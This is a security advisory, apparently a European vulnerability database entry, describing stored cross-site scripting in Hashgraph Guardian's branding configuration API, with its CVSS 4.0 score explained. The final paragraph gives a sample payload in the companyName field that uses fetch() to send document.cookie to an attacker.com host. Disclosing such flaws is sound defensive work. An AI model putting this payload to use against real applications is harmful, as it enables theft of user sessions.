Hashgraph Guardian EUVD-2026-37952

Exploitation requires the attacker to hold the STANDARD_REGISTRY role within the Guardian application - a defined named role with authority over branding configuration, distinct from the administrator role. The vulnerable entry point is specifically the branding configuration API endpoint's companyName parameter. Once the payload is stored, it executes passively in every authenticated user's browser on every page load with no further interaction required from the attacker. Limiting factors are: (1) attacker must possess or compromise a STANDARD_REGISTRY role account (PR:H); (2) victims must be authenticated and load any Guardian frontend page (UI:P - passive but required). No non-default configuration, specific OS platform, or unusual deployment topology is required beyond the role assignment itself.

The CVSS 4.0 score of 4.8 with vector AV:N/AC:L/AT:N/PR:H/UI:P accurately represents the real-world risk profile. The PR:H metric is the primary constraint: exploitation requires the STANDARD_REGISTRY role, limiting the attacker pool to insiders, compromised privileged accounts, or misconfigured deployments where this role is overly distributed. The UI:P (passive user interaction) metric means the stored payload activates automatically upon any authenticated user loading a Guardian page - no phishing or social engineering is required beyond the initial role-privileged write. Impact metrics SC:L/SI:L on subsequent systems (victims' browsers) with no impact on the vulnerable system itself correctly models stored XSS: the injecting account gains indirect influence over other users' sessions rather than the backend directly. No KEV listing and no standalone POC are confirmed, keeping this in a lower-urgency tier for most organizations; however, in multi-tenant or SaaS deployments of Guardian where STANDARD_REGISTRY is assigned to semi-trusted external parties, the real-world risk is meaningfully higher than the score suggests.

An attacker authenticated with the STANDARD_REGISTRY role submits a crafted companyName value such as <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)> via the Guardian branding configuration API. The payload is stored server-side; on every subsequent page load by any authenticated Guardian user, the Angular BrandingService renders the value via innerHTML, triggering the injected code and silently exfiltrating session cookies or tokens to an attacker-controlled endpoint. Because the payload fires on every page load across the entire application, mass session harvesting of all active users is achievable from a single write operation.